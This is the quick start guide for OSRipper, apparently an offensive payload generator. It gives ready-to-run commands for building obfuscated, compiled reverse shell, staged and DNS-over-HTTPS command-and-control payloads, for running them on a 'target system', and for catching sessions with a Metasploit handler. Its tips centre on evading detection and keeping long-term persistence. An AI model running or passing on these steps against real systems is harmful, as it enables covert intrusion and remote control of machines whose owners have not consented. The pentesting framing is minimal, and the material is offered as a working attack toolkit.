Quick Start

Quick Start Guide

Get up and running with OSRipper in minutes! This guide covers the essential steps to generate your first payload.

5-Minute Quick Start

Step 1: Generate a Reverse Shell

# Generate reverse shell payload
osripper-cli reverse -H YOUR_IP -p 4444 --obfuscate --compile

Replace YOUR_IP with your actual IP address.

Step 2: Transfer Payload

The compiled binary will be in the results/ directory:

# Find your payload
ls -la results/*.bin

Transfer this file to your target system.

Step 3: Start Listener

OSRipper automatically starts a Metasploit listener, or you can start it manually:

msfconsole -q -x 'use multi/handler; set payload python/meterpreter/reverse_tcp_ssl; set LHOST 0.0.0.0; set LPORT 4444; exploit'

Step 4: Execute Payload

Run the binary on the target system. You should receive a connection in Metasploit.

Using the Web UI

Step 1: Start C2 Server

# Start C2 server (replace with your domain)
python -m osripper.c2.server example.com --port 5000

Step 2: Generate DoH Payload

1. Open browser: http://localhost:5000
2. Click "Generate Payload"
3. Select "DNS-over-HTTPS C2"
4. Enter your domain name
5. Enable obfuscation and compilation
6. Click "Generate Payload"

Step 3: Execute Payload

1. Download the generated payload
2. Execute on target system
3. View session in dashboard

Step 4: Execute Commands

1. Click on session in dashboard
2. Enter commands in terminal
3. View responses in real-time

Interactive Mode

For a guided experience:

# Launch interactive mode
osripper

# Follow the menu prompts:
# 1. Select payload type
# 2. Configure options
# 3. Choose obfuscation/compilation
# 4. Generate payload

Common Use Cases

Use Case 1: Basic Reverse Shell

osripper-cli reverse -H 192.168.1.100 -p 4444 --obfuscate --compile

When to use: Standard penetration testing, red team exercises

Use Case 2: Stealthy DoH C2

# Generate payload
osripper-cli doh -d yourdomain.com --obfuscate --compile --delay

# Start C2 server
python -m osripper.c2.server yourdomain.com

When to use: Bypassing network restrictions, long-term persistence

Use Case 3: HTTPS C2 with Certificate Pinning

# Start C2 server with HTTPS
python -m osripper.c2.server yourdomain.com --https

# Generate payload via web UI with certificate fingerprint

When to use: Secure C2 channels, authenticated communication

Use Case 4: Staged Payload

osripper-cli staged -H 192.168.1.100 -p 8080 --obfuscate --compile

When to use: Enhanced stealth, multi-stage deployment

Command Reference

Basic Commands

# Show help
osripper-cli --help

# Show command-specific help
osripper-cli reverse -h

# Generate bind shell
osripper-cli bind -p 4444

# Generate reverse shell
osripper-cli reverse -H IP -p PORT

# Generate DoH C2
osripper-cli doh -d DOMAIN

# Custom script encryption
osripper-cli custom --script script.py

Advanced Options

# Full-featured payload
osripper-cli reverse -H IP -p PORT \
  --obfuscate \           # Enable obfuscation
  --enhanced \            # Enhanced obfuscation
  --compile \            # Compile to binary
  --icon icon.ico \       # Custom icon
  --delay \               # Stealth delay
  --output mypayload      # Custom output name

Next Steps

Now that you've generated your first payload:

1. Learn More: Read the Usage Guide for detailed instructions
2. Explore Payloads: Check out Payload Types for all available options
3. Web UI: Learn about the Web UI Guide for C2 management
4. Advanced: Review Advanced Features for advanced techniques

Tips for Success

1. Always test payloads in a controlled environment first
2. Use obfuscation for better evasion (especially --enhanced)
3. Compile to binary for easier deployment
4. Enable stealth delay to avoid immediate detection
5. Use DoH/HTTPS C2 for better network evasion

Troubleshooting

Payload doesn't connect

• Check firewall rules
• Verify IP address and port
• Ensure listener is running
• Check network connectivity

Compilation fails

• Install Nuitka: pip3 install nuitka
• Check system dependencies
• Review error messages

Web UI not accessible

• Check if server is running
• Verify port is not in use
• Check firewall settings

For more help, see the Troubleshooting Guide.

---

Ready to dive deeper? Check out the Usage Guide for comprehensive documentation.